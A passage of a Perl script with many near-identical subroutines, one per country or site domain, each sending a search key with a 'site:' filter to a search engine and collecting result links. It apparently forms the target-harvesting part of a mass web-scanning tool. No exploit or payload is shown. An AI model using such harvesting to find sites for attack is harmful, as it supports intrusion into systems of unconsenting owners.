  5427.         }
  5428.     }
  5429.     return @list;
  5430. }
  5431.  
  5432. sub gov() {
  5433.     my @list;
  5434.     my $key = $_[0];
  5435.     for (my $i=0; $i<=1000; $i+=100){
  5436.         my $search = ($jack6.uri_escape($key)."%2Bsite%3Agov%26num%3D100%26start%3D".$i);
  5437.         my $res = &search_engine_query($search);
  5438.         while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) {
  5439.             my $link = $1;
  5440.             if ($link !~ /google/){
  5441.                 my @grep = &links($link);
  5442.                 push(@list,@grep);
  5443.             }
  5444.         }
  5445.     }
  5446.     return @list;
  5447. }
  5448.  
  5449. sub as() {
  5450.     my @list;
  5451.     my $key = $_[0];
  5452.     for (my $i=0; $i<=1000; $i+=100){
  5453.         my $search = ($jack7.uri_escape($key)."%2Bsite%3Aas%26num%3D100%26start%3D".$i);
  5454.         my $res = &search_engine_query($search);
  5455.         while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) {
  5456.             my $link = $1;
  5457.             if ($link !~ /google/){
  5458.                 my @grep = &links($link);
  5459.                 push(@list,@grep);
  5460.             }
  5461.         }
  5462.     }
  5463.     return @list;
  5464. }
  5465.  
  5466. sub ai() {
  5467.     my @list;
  5468.     my $key = $_[0];
  5469.     for (my $i=0; $i<=1000; $i+=100){
  5470.         my $search = ($jack8.uri_escape($key)."%2Bsite%3Aai%26num%3D100%26start%3D".$i);
  5471.         my $res = &search_engine_query($search);
  5472.         while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) {
  5473.             my $link = $1;
  5474.             if ($link !~ /google/){
  5475.                 my @grep = &links($link);
  5476.                 push(@list,@grep);
  5477.             }
  5478.         }
  5479.     }
  5480.     return @list;
  5481. }
  5482.  
  5483. sub ag() {
  5484.     my @list;
  5485.     my $key = $_[0];
  5486.     for (my $i=0; $i<=1000; $i+=100){
  5487.         my $search = ($jack9.uri_escape($key)."%2Bsite%3Aag%26num%3D100%26start%3D".$i);
  5488.         my $res = &search_engine_query($search);
  5489.         while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) {
  5490.             my $link = $1;
  5491.             if ($link !~ /google/){
  5492.                 my @grep = &links($link);
  5493.                 push(@list,@grep);
  5494.             }
  5495.         }
  5496.     }
  5497.     return @list;
  5498. }
  5499.  
  5500. sub az() {
  5501.     my @list;
  5502.     my $key = $_[0];
  5503.     for (my $i=0; $i<=1000; $i+=100){
  5504.         my $search = ($jack10.uri_escape($key)."%2Bsite%3Aaz%26num%3D100%26start%3D".$i);
  5505.         my $res = &search_engine_query($search);
  5506.         while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) {
  5507.             my $link = $1;
  5508.             if ($link !~ /google/){
  5509.                 my @grep = &links($link);
  5510.                 push(@list,@grep);
  5511.             }
  5512.         }
  5513.     }
  5514.     return @list;
  5515. }
  5516.  
  5517. sub bh() {
  5518.     my @list;
  5519.     my $key = $_[0];
  5520.     for (my $i=0; $i<=1000; $i+=100){
  5521.         my $search = ($jack1.uri_escape($key)."%2Bsite%3Abh%26num%3D100%26start%3D".$i);
  5522.         my $res = &search_engine_query($search);
  5523.         while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) {
  5524.             my $link = $1;
  5525.             if ($link !~ /google/){
  5526.                 my @grep = &links($link);
  5527.                 push(@list,@grep);
  5528.             }
  5529.         }
  5530.     }
  5531.     return @list;
  5532. }
  5533.  
  5534. sub bd() {
  5535.     my @list;
  5536.     my $key = $_[0];
  5537.     for (my $i=0; $i<=1000; $i+=100){
  5538.         my $search = ($jack2.uri_escape($key)."%2Bsite%3Abd%26num%3D100%26start%3D".$i);
  5539.         my $res = &search_engine_query($search);
  5540.         while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) {
  5541.             my $link = $1;
  5542.             if ($link !~ /google/){
  5543.                 my @grep = &links($link);
  5544.                 push(@list,@grep);
  5545.             }
  5546.         }
  5547.     }
  5548.     return @list;
  5549. }
  5550.  
  5551. sub bz() {
  5552.     my @list;
  5553.     my $key = $_[0];
  5554.     for (my $i=0; $i<=1000; $i+=100){
  5555.         my $search = ($jack3.uri_escape($key)."%2Bsite%3Abz%26num%3D100%26start%3D".$i);
  5556.         my $res = &search_engine_query($search);
  5557.         while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) {
  5558.             my $link = $1;
  5559.             if ($link !~ /google/){
  5560.                 my @grep = &links($link);
  5561.                 push(@list,@grep);
  5562.             }
  5563.         }
  5564.     }
  5565.     return @list;
  5566. }
  5567.  
  5568. sub bo() {
  5569.     my @list;
  5570.     my $key = $_[0];
  5571.     for (my $i=0; $i<=1000; $i+=100){
  5572.         my $search = ($jack4.uri_escape($key)."%2Bsite%3Abo%26num%3D100%26start%3D".$i);
  5573.         my $res = &search_engine_query($search);
  5574.         while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) {
  5575.             my $link = $1;
  5576.             if ($link !~ /google/){
  5577.                 my @grep = &links($link);
  5578.                 push(@list,@grep);
  5579.             }
  5580.         }
  5581.     }
  5582.     return @list;
  5583. }
  5584.  
  5585. sub ba() {
  5586.     my @list;
  5587.     my $key = $_[0];
  5588.     for (my $i=0; $i<=1000; $i+=100){
  5589.         my $search = ($jack5.uri_escape($key)."%2Bsite%3Aba%26num%3D100%26start%3D".$i);
  5590.         my $res = &search_engine_query($search);
  5591.         while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) {
  5592.             my $link = $1;
  5593.             if ($link !~ /google/){
  5594.                 my @grep = &links($link);
  5595.                 push(@list,@grep);
  5596.             }
  5597.         }
  5598.     }
  5599.     return @list;
  5600. }
  5601.  
  5602. sub vg() {
  5603.     my @list;
  5604.     my $key = $_[0];
  5605.     for (my $i=0; $i<=1000; $i+=100){
  5606.         my $search = ($jack7.uri_escape($key)."%2Bsite%3Avg%26num%3D100%26start%3D".$i);
  5607.         my $res = &search_engine_query($search);
  5608.         while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) {
  5609.             my $link = $1;
  5610.             if ($link !~ /google/){
  5611.                 my @grep = &links($link);
  5612.                 push(@list,@grep);
  5613.             }
  5614.         }
  5615.     }
  5616.     return @list;
  5617. }
  5618.  
  5619. sub bg() {
  5620.     my @list;
  5621.     my $key = $_[0];
  5622.     for (my $i=0; $i<=1000; $i+=100){
  5623.         my $search = ($jack8.uri_escape($key)."%2Bsite%3Abg%26num%3D100%26start%3D".$i);
  5624.         my $res = &search_engine_query($search);
  5625.         while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) {
  5626.             my $link = $1;
  5627.             if ($link !~ /google/){
  5628.                 my @grep = &links($link);
  5629.                 push(@list,@grep);
  5630.             }
  5631.         }
  5632.     }
  5633.     return @list;
  5634. }
  5635.  
  5636. sub bi() {
  5637.     my @list;
  5638.     my $key = $_[0];
  5639.     for (my $i=0; $i<=1000; $i+=100){
  5640.         my $search = ($jack9.uri_escape($key)."%2Bsite%3Abi%26num%3D100%26start%3D".$i);
  5641.         my $res = &search_engine_query($search);
  5642.         while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) {
  5643.             my $link = $1;
  5644.             if ($link !~ /google/){
  5645.                 my @grep = &links($link);
  5646.                 push(@list,@grep);
  5647.             }
  5648.         }
  5649.     }
  5650.     return @list;
  5651. }
  5652.  
  5653. sub co() {
  5654.     my @list;
  5655.     my $key = $_[0];
  5656.     for (my $i=0; $i<=1000; $i+=100){
  5657.         my $search = ($jack10.uri_escape($key)."%2Bsite%3Aco%26num%3D100%26start%3D".$i);
  5658.         my $res = &search_engine_query($search);
  5659.         while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) {
  5660.             my $link = $1;
  5661.             if ($link !~ /google/){
  5662.                 my @grep = &links($link);
  5663.                 push(@list,@grep);
  5664.             }
  5665.         }
  5666.     }
  5667.     return @list;
  5668. }
  5669.  
  5670. sub cd() {
  5671.     my @list;
  5672.     my $key = $_[0];
  5673.     for (my $i=0; $i<=1000; $i+=100){
  5674.         my $search = ($jack11.uri_escape($key)."%2Bsite%3Acd%26num%3D100%26start%3D".$i);
  5675.         my $res = &search_engine_query($search);
  5676.         while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) {
  5677.             my $link = $1;
  5678.             if ($link !~ /google/){
  5679.                 my @grep = &links($link);
  5680.                 push(@list,@grep);
  5681.             }
  5682.         }
  5683.     }
  5684.     return @list;
  5685. }
  5686.  
  5687. sub cg() {
  5688.     my @list;
  5689.     my $key = $_[0];
  5690.     for (my $i=0; $i<=1000; $i+=100){
  5691.         my $search = ($jack12.uri_escape($key)."%2Bsite%3Acg%26num%3D100%26start%3D".$i);
  5692.         my $res = &search_engine_query($search);
  5693.         while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) {
  5694.             my $link = $1;
  5695.             if ($link !~ /google/){
  5696.                 my @grep = &links($link);
  5697.                 push(@list,@grep);
  5698.             }
  5699.         }
  5700.     }
  5701.     return @list;
  5702. }
  5703.  
  5704. sub ck() {
  5705.     my @list;
  5706.     my $key = $_[0];
  5707.     for (my $i=0; $i<=1000; $i+=100){
  5708.         my $search = ($jack13.uri_escape($key)."%2Bsite%3Ack%26num%3D100%26start%3D".$i);
  5709.         my $res = &search_engine_query($search);
  5710.         while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) {
  5711.             my $link = $1;
  5712.             if ($link !~ /google/){
  5713.                 my @grep = &links($link);
  5714.                 push(@list,@grep);
  5715.             }
  5716.         }
  5717.     }
  5718.     return @list;
  5719. }
  5720.  
  5721. sub cr() {
  5722.     my @list;
  5723.     my $key = $_[0];
  5724.     for (my $i=0; $i<=1000; $i+=100){
  5725.         my $search = ($jack4.uri_escape($key)."%2Bsite%3Acr%26num%3D100%26start%3D".$i);
  5726.         my $res = &search_engine_query($search);
  5727.         while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) {
  5728.             my $link = $1;
  5729.             if ($link !~ /google/){
  5730.                 my @grep = &links($link);
  5731.                 push(@list,@grep);
  5732.             }
  5733.         }
  5734.     }
  5735.     return @list;
  5736. }
  5737.  
  5738. sub hr() {
  5739.     my @list;
  5740.     my $key = $_[0];
  5741.     for (my $i=0; $i<=1000; $i+=100){
  5742.         my $search = ($jack5.uri_escape($key)."%2Bsite%3Ahr%26num%3D100%26start%3D".$i);
  5743.         my $res = &search_engine_query($search);
  5744.         while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) {
  5745.             my $link = $1;
  5746.             if ($link !~ /google/){
  5747.                 my @grep = &links($link);
  5748.                 push(@list,@grep);
  5749.             }
  5750.         }
  5751.     }
  5752.     return @list;
  5753. }
  5754.  
  5755. sub cu() {
  5756.     my @list;
  5757.     my $key = $_[0];
  5758.     for (my $i=0; $i<=1000; $i+=100){
  5759.         my $search = ($jack6.uri_escape($key)."%2Bsite%3Acu%26num%3D100%26start%3D".$i);
  5760.         my $res = &search_engine_query($search);
  5761.         while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) {
  5762.             my $link = $1;
  5763.             if ($link !~ /google/){
  5764.                 my @grep = &links($link);
  5765.                 push(@list,@grep);
  5766.             }
  5767.         }
  5768.     }
  5769.     return @list;
  5770. }
  5771.  
  5772. sub ci() {
  5773.     my @list;
  5774.     my $key = $_[0];
  5775.     for (my $i=0; $i<=1000; $i+=100){
  5776.         my $search = ($jack7.uri_escape($key)."%2Bsite%3Aci%26num%3D100%26start%3D".$i);
  5777.         my $res = &search_engine_query($search);
  5778.         while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) {
  5779.             my $link = $1;
  5780.             if ($link !~ /google/){
  5781.                 my @grep = &links($link);
  5782.                 push(@list,@grep);
  5783.             }
  5784.         }
  5785.     }
  5786.     return @list;
  5787. }
  5788.  
  5789. sub dj() {
  5790.     my @list;
  5791.     my $key = $_[0];
  5792.     for (my $i=0; $i<=1000; $i+=100){
  5793.         my $search = ($jack8.uri_escape($key)."%2Bsite%3Adj%26num%3D100%26start%3D".$i);
  5794.         my $res = &search_engine_query($search);
  5795.         while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) {
  5796.             my $link = $1;
  5797.             if ($link !~ /google/){
  5798.                 my @grep = &links($link);
  5799.                 push(@list,@grep);
  5800.             }
  5801.         }
  5802.     }
  5803.     return @list;
  5804. }
  5805.  
  5806. sub dm() {
  5807.     my @list;
  5808.     my $key = $_[0];
  5809.     for (my $i=0; $i<=1000; $i+=100){
  5810.         my $search = ($jack9.uri_escape($key)."%2Bsite%3Adm%26num%3D100%26start%3D".$i);
  5811.         my $res = &search_engine_query($search);
  5812.         while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) {
  5813.             my $link = $1;
  5814.             if ($link !~ /google/){
  5815.                 my @grep = &links($link);
  5816.                 push(@list,@grep);
  5817.             }
  5818.         }
  5819.     }
  5820.     return @list;
  5821. }
  5822.  
  5823. sub do() {
  5824.     my @list;
  5825.     my $key = $_[0];
  5826.     for (my $i=0; $i<=1000; $i+=100){
  5827.         my $search = ($jack10.uri_escape($key)."%2Bsite%3Ado%26num%3D100%26start%3D".$i);
  5828.         my $res = &search_engine_query($search);
  5829.         while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) {
  5830.             my $link = $1;
  5831.             if ($link !~ /google/){
  5832.                 my @grep = &links($link);
  5833.                 push(@list,@grep);
  5834.             }
  5835.         }
  5836.     }
  5837.     return @list;
  5838. }
  5839.  
  5840. sub ec() {
  5841.     my @list;
  5842.     my $key = $_[0];
  5843.     for (my $i=0; $i<=1000; $i+=100){
  5844.         my $search = ($jack1.uri_escape($key)."%2Bsite%3Aec%26num%3D100%26start%3D".$i);
  5845.         my $res = &search_engine_query($search);
  5846.         while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) {
  5847.             my $link = $1;
  5848.             if ($link !~ /google/){
  5849.                 my @grep = &links($link);
  5850.                 push(@list,@grep);
  5851.             }
  5852.         }
  5853.     }
  5854.     return @list;
  5855. }
  5856.  
  5857. sub eg() {
  5858.     my @list;
  5859.     my $key = $_[0];
  5860.     for (my $i=0; $i<=1000; $i+=100){
  5861.         my $search = ($jack2.uri_escape($key)."%2Bsite%3Aeg%26num%3D100%26start%3D".$i);
  5862.         my $res = &search_engine_query($search);
  5863.         while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) {
  5864.             my $link = $1;
  5865.             if ($link !~ /google/){
  5866.                 my @grep = &links($link);
  5867.                 push(@list,@grep);
  5868.             }
  5869.         }
  5870.     }
  5871.     return @list;
  5872. }
  5873.  
  5874. sub sv() {
  5875.     my @list;
  5876.     my $key = $_[0];
  5877.     for (my $i=0; $i<=1000; $i+=100){
  5878.         my $search = ($jack3.uri_escape($key)."%2Bsite%3Asv%26num%3D100%26start%3D".$i);
  5879.         my $res = &search_engine_query($search);
  5880.         while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) {
  5881.             my $link = $1;
  5882.             if ($link !~ /google/){
  5883.                 my @grep = &links($link);
  5884.                 push(@list,@grep);
  5885.             }
  5886.         }
  5887.     }
  5888.     return @list;
  5889. }
  5890.  
  5891. sub ee() {
  5892.     my @list;
  5893.     my $key = $_[0];
  5894.     for (my $i=0; $i<=1000; $i+=100){
  5895.         my $search = ($jack4.uri_escape($key)."%2Bsite%3Aee%26num%3D100%26start%3D".$i);
  5896.         my $res = &search_engine_query($search);
  5897.         while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) {
  5898.             my $link = $1;
  5899.             if ($link !~ /google/){
  5900.                 my @grep = &links($link);
  5901.                 push(@list,@grep);
  5902.             }
  5903.         }
  5904.     }
  5905.     return @list;
  5906. }
  5907.  
  5908. sub et() {
  5909.     my @list;
  5910.     my $key = $_[0];
  5911.     for (my $i=0; $i<=1000; $i+=100){
  5912.         my $search = ($jack5.uri_escape($key)."%2Bsite%3Aet%26num%3D100%26start%3D".$i);
  5913.         my $res = &search_engine_query($search);
  5914.         while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) {
  5915.             my $link = $1;
  5916.             if ($link !~ /google/){
  5917.                 my @grep = &links($link);
  5918.                 push(@list,@grep);
  5919.             }
  5920.         }
  5921.     }
  5922.     return @list;
  5923. }
  5924.  
  5925. sub fj() {
  5926.     my @list;
  5927.     my $key = $_[0];
  5928.     for (my $i=0; $i<=1000; $i+=100){
  5929.         my $search = ($jack6.uri_escape($key)."%2Bsite%3Afj%26num%3D100%26start%3D".$i);
  5930.         my $res = &search_engine_query($search);
  5931.         while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) {
  5932.             my $link = $1;
  5933.             if ($link !~ /google/){
  5934.                 my @grep = &links($link);
  5935.                 push(@list,@grep);
  5936.             }
  5937.         }
  5938.     }
  5939.     return @list;
  5940. }
  5941.  
  5942. sub fi() {
  5943.     my @list;
  5944.     my $key = $_[0];
  5945.     for (my $i=0; $i<=1000; $i+=100){
  5946.         my $search = ($jack7.uri_escape($key)."%2Bsite%3Afi%26num%3D100%26start%3D".$i);
  5947.         my $res = &search_engine_query($search);
  5948.         while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) {
  5949.             my $link = $1;
  5950.             if ($link !~ /google/){
  5951.                 my @grep = &links($link);
  5952.                 push(@list,@grep);
  5953.             }
  5954.         }
  5955.     }
  5956.     return @list;
  5957. }
  5958.  
  5959. sub gm() {
  5960.     my @list;
  5961.     my $key = $_[0];
  5962.     for (my $i=0; $i<=1000; $i+=100){
  5963.         my $search = ($jack8.uri_escape($key)."%2Bsite%3Agm%26num%3D100%26start%3D".$i);
  5964.         my $res = &search_engine_query($search);
  5965.         while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) {
  5966.             my $link = $1;
  5967.             if ($link !~ /google/){
  5968.                 my @grep = &links($link);
  5969.                 push(@list,@grep);
  5970.             }
  5971.         }
  5972.     }
  5973.     return @list;
  5974. }
  5975.  
  5976. sub gi() {
  5977.     my @list;
  5978.     my $key = $_[0];
  5979.     for (my $i=0; $i<=1000; $i+=100){
  5980.         my $search = ($jack9.uri_escape($key)."%2Bsite%3Agi%26num%3D100%26start%3D".$i);
  5981.         my $res = &search_engine_query($search);
  5982.         while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) {
  5983.             my $link = $1;
  5984.             if ($link !~ /google/){
  5985.                 my @grep = &links($link);
  5986.                 push(@list,@grep);
  5987.             }
  5988.         }
  5989.     }
  5990.     return @list;
  5991. }
  5992.  
  5993. sub gr() {
  5994.     my @list;
  5995.     my $key = $_[0];
  5996.     for (my $i=0; $i<=1000; $i+=100){
  5997.         my $search = ($jack10.uri_escape($key)."%2Bsite%3Agr%26num%3D100%26start%3D".$i);
  5998.         my $res = &search_engine_query($search);
  5999.         while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) {
  6000.             my $link = $1;
  6001.             if ($link !~ /google/){
  6002.                 my @grep = &links($link);
  6003.                 push(@list,@grep);
  6004.             }
  6005.         }
  6006.     }
  6007.     return @list;
  6008. }
  6009.  
  6010. sub gl() {
  6011.     my @list;
  6012.     my $key = $_[0];
  6013.     for (my $i=0; $i<=1000; $i+=100){
  6014.         my $search = ($jack11.uri_escape($key)."%2Bsite%3Agl%26num%3D100%26start%3D".$i);
  6015.         my $res = &search_engine_query($search);
  6016.         while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) {
  6017.             my $link = $1;
  6018.             if ($link !~ /google/){
  6019.                 my @grep = &links($link);
  6020.                 push(@list,@grep);
  6021.             }
  6022.         }
  6023.     }
  6024.     return @list;
  6025. }
  6026.  
  6027. sub gt() {
  6028.     my @list;
  6029.     my $key = $_[0];
  6030.     for (my $i=0; $i<=1000; $i+=100){
  6031.         my $search = ($jack12.uri_escape($key)."%2Bsite%3Agt%26num%3D100%26start%3D".$i);
  6032.         my $res = &search_engine_query($search);
  6033.         while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) {
  6034.             my $link = $1;
  6035.             if ($link !~ /google/){
  6036.                 my @grep = &links($link);
  6037.                 push(@list,@grep);
  6038.             }
  6039.         }
  6040.     }
  6041.     return @list;
  6042. }
  6043.  
  6044. sub gg() {
  6045.     my @list;
  6046.     my $key = $_[0];
  6047.     for (my $i=0; $i<=1000; $i+=100){
  6048.         my $search = ($jack13.uri_escape($key)."%2Bsite%3Agg%26num%3D100%26start%3D".$i);
  6049.         my $res = &search_engine_query($search);
  6050.         while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) {
  6051.             my $link = $1;
  6052.             if ($link !~ /google/){
  6053.                 my @grep = &links($link);
  6054.                 push(@list,@grep);
  6055.             }
  6056.         }
  6057.     }
  6058.     return @list;
  6059. }
  6060.  
  6061. sub ht() {
  6062.     my @list;
  6063.     my $key = $_[0];
  6064.     for (my $i=0; $i<=1000; $i+=100){
  6065.         my $search = ($jack4.uri_escape($key)."%2Bsite%3Aht%26num%3D100%26start%3D".$i);
  6066.         my $res = &search_engine_query($search);
  6067.         while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) {
  6068.             my $link = $1;
  6069.             if ($link !~ /google/){
  6070.                 my @grep = &links($link);
  6071.                 push(@list,@grep);
  6072.             }
  6073.         }
  6074.     }
  6075.     return @list;
  6076. }
  6077.  
  6078. sub hn() {
  6079.     my @list;
  6080.     my $key = $_[0];
  6081.     for (my $i=0; $i<=1000; $i+=100){
  6082.         my $search = ($jack5.uri_escape($key)."%2Bsite%3Ahn%26num%3D100%26start%3D".$i);
  6083.         my $res = &search_engine_query($search);
  6084.         while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) {
  6085.             my $link = $1;
  6086.             if ($link !~ /google/){
  6087.                 my @grep = &links($link);
  6088.                 push(@list,@grep);
  6089.             }
  6090.         }
  6091.     }
  6092.     return @list;
  6093. }
  6094.  
  6095. sub hk() {
  6096.     my @list;
  6097.     my $key = $_[0];
  6098.     for (my $i=0; $i<=1000; $i+=100){
  6099.         my $search = ($jack6.uri_escape($key)."%2Bsite%3Ahk%26num%3D100%26start%3D".$i);
  6100.         my $res = &search_engine_query($search);
  6101.         while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) {
  6102.             my $link = $1;
  6103.             if ($link !~ /google/){
  6104.                 my @grep = &links($link);
  6105.                 push(@list,@grep);
  6106.             }
  6107.         }
  6108.     }
  6109.     return @list;
  6110. }
  6111.  
  6112. sub is() {
  6113.     my @list;
  6114.     my $key = $_[0];
  6115.     for (my $i=0; $i<=1000; $i+=100){
  6116.         my $search = ($jack7.uri_escape($key)."%2Bsite%3Ais%26num%3D100%26start%3D".$i);
  6117.         my $res = &search_engine_query($search);
  6118.         while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) {
  6119.             my $link = $1;
  6120.             if ($link !~ /google/){
  6121.                 my @grep = &links($link);
  6122.                 push(@list,@grep);
  6123.             }
  6124.         }
  6125.     }
  6126.     return @list;
  6127. }
  6128.  
  6129. sub ie() {
  6130.     my @list;
  6131.     my $key = $_[0];
  6132.     for (my $i=0; $i<=1000; $i+=100){
  6133.         my $search = ($jack8.uri_escape($key)."%2Bsite%3Aie%26num%3D100%26start%3D".$i);
  6134.         my $res = &search_engine_query($search);
  6135.         while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) {
  6136.             my $link = $1;
  6137.             if ($link !~ /google/){
  6138.                 my @grep = &links($link);
  6139.                 push(@list,@grep);
  6140.             }
  6141.         }
  6142.     }
  6143.     return @list;
  6144. }
  6145.  
  6146. sub im() {
  6147.     my @list;
  6148.     my $key = $_[0];
  6149.     for (my $i=0; $i<=1000; $i+=100){
  6150.         my $search = ($jack9.uri_escape($key)."%2Bsite%3Aim%26num%3D100%26start%3D".$i);
  6151.         my $res = &search_engine_query($search);
  6152.         while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) {
  6153.             my $link = $1;
  6154.             if ($link !~ /google/){
  6155.                 my @grep = &links($link);
  6156.                 push(@list,@grep);
  6157.             }
  6158.         }
  6159.     }
  6160.     return @list;
  6161. }
  6162.  
  6163. sub je() {
  6164.     my @list;
  6165.     my $key = $_[0];
  6166.     for (my $i=0; $i<=1000; $i+=100){
  6167.         my $search = ($jack10.uri_escape($key)."%2Bsite%3Aje%26num%3D100%26start%3D".$i);
  6168.         my $res = &search_engine_query($search);
  6169.         while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) {
  6170.             my $link = $1;
  6171.             if ($link !~ /google/){
  6172.                 my @grep = &links($link);
  6173.                 push(@list,@grep);
  6174.             }
  6175.         }
  6176.     }
  6177.     return @list;
  6178. }
  6179.  
  6180. sub jo() {
  6181.     my @list;
  6182.     my $key = $_[0];
  6183.     for (my $i=0; $i<=1000; $i+=100){
  6184.         my $search = ($jack1.uri_escape($key)."%2Bsite%3Ajo%26num%3D100%26start%3D".$i);
  6185.         my $res = &search_engine_query($search);
  6186.         while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) {
  6187.             my $link = $1;
  6188.             if ($link !~ /google/){
  6189.                 my @grep = &links($link);
  6190.                 push(@list,@grep);
  6191.             }
  6192.         }
  6193.     }
  6194.     return @list;
  6195. }
  6196.  
  6197. sub kz() {
  6198.     my @list;
  6199.     my $key = $_[0];
  6200.     for (my $i=0; $i<=1000; $i+=100){
  6201.         my $search = ($jack2.uri_escape($key)."%2Bsite%3Akz%26num%3D100%26start%3D".$i);
  6202.         my $res = &search_engine_query($search);
  6203.         while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) {
  6204.             my $link = $1;
  6205.             if ($link !~ /google/){
  6206.                 my @grep = &links($link);
  6207.                 push(@list,@grep);
  6208.             }
  6209.         }
  6210.     }
  6211.     return @list;
  6212. }
  6213.  
  6214. sub ke() {
  6215.     my @list;
  6216.     my $key = $_[0];
  6217.     for (my $i=0; $i<=1000; $i+=100){
  6218.         my $search = ($jack3.uri_escape($key)."%2Bsite%3Ake%26num%3D100%26start%3D".$i);
  6219.         my $res = &search_engine_query($search);
  6220.         while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) {
  6221.             my $link = $1;
  6222.             if ($link !~ /google/){
  6223.                 my @grep = &links($link);
  6224.                 push(@list,@grep);
  6225.             }
  6226.         }
  6227.     }
  6228.     return @list;
  6229. }
  6230.  
  6231. sub ir() {
  6232.     my @list;
  6233.     my $key = $_[0];
  6234.     for (my $i=0; $i<=1000; $i+=100){
  6235.         my $search = ($jack1.uri_escape($key)."%2Bsite%3Air%26num%3D100%26start%3D".$i);
  6236.         my $res = &search_engine_query($search);
  6237.         while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) {
  6238.             my $link = $1;
  6239.             if ($link !~ /google/){
  6240.                 my @grep = &links($link);
  6241.                 push(@list,@grep);
  6242.             }
  6243.         }
  6244.     }
  6245.     return @list;
  6246. }
  6247.  
  6248. sub vn() {
  6249.     my @list;
  6250.     my $key = $_[0];
  6251.     for (my $i=0; $i<=1000; $i+=100){
  6252.         my $search = ($jack5.uri_escape($key)."%2Bsite%3Avn%26num%3D100%26start%3D".$i);
  6253.         my $res = &search_engine_query($search);
  6254.         while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) {
  6255.             my $link = $1;
  6256.             if ($link !~ /google/){
  6257.                 my @grep = &links($link);
  6258.                 push(@list,@grep);
  6259.             }
  6260.         }
  6261.     }
  6262.     return @list;
  6263. }
  6264.  
  6265. sub kg() {
  6266.     my @list;
  6267.     my $key = $_[0];
  6268.     for (my $i=0; $i<=1000; $i+=100){
  6269.         my $search = ($jack4.uri_escape($key)."%2Bsite%3Akg%26num%3D100%26start%3D".$i);
  6270.         my $res = &search_engine_query($search);
  6271.         while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) {
  6272.             my $link = $1;
  6273.             if ($link !~ /google/){
  6274.                 my @grep = &links($link);
  6275.                 push(@list,@grep);
  6276.             }
  6277.         }
  6278.     }
  6279.     return @list;
  6280. }
  6281.  
  6282. sub lv() {
  6283.     my @list;
  6284.     my $key = $_[0];
  6285.     for (my $i=0; $i<=1000; $i+=100){
  6286.         my $search = ($jack5.uri_escape($key)."%2Bsite%3Alv%26num%3D100%26start%3D".$i);
  6287.         my $res = &search_engine_query($search);
  6288.         while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) {
  6289.             my $link = $1;
  6290.             if ($link !~ /google/){
  6291.                 my @grep = &links($link);
  6292.                 push(@list,@grep);
  6293.             }
  6294.         }
  6295.     }
  6296.     return @list;
  6297. }
  6298.  
  6299. sub ls() {
  6300.     my @list;
  6301.     my $key = $_[0];
  6302.     for (my $i=0; $i<=1000; $i+=100){
  6303.         my $search = ($jack6.uri_escape($key)."%2Bsite%3Als%26num%3D100%26start%3D".$i);
  6304.         my $res = &search_engine_query($search);
  6305.         while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) {
  6306.             my $link = $1;
  6307.             if ($link !~ /google/){
  6308.                 my @grep = &links($link);
  6309.                 push(@list,@grep);
  6310.             }
  6311.         }
  6312.     }
  6313.     return @list;
